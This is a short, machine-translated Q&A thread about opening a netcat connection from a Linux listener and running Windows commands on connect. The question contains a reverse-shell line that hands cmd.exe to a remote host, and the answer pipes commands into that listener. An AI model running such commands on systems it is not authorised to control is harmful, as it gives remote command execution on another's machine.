Ncat在Windows上连接并立即执行命令
问题描述:
我试图找出一种方法来从侦听的Linux机器打开一个netcat连接并立即在目标Windows机器上执行命令(例如dir或ipconfig)。Ncat在Windows上连接并立即执行命令
事情与此类似:
Linux机器:
nc -lvp 4444; dir
Windows机器:
ncat 192.168.1.25 4444 -e cmd.exe
我需要立即就立即执行命令的连接与Windows制成机。
如果这可以用bash脚本完成,那也会很棒。我尝试了脚本,但是它在放入Windows命令行后不会注册任何命令。
任何帮助或建议将不胜感激!谢谢。
答
该命令应该在nc
的标准输入上,而不是在nc
完成后运行的本地命令。
printf "dir\n" | nc -lvp 444
又见Pass commands as input to another command (su, ssh, sh, etc)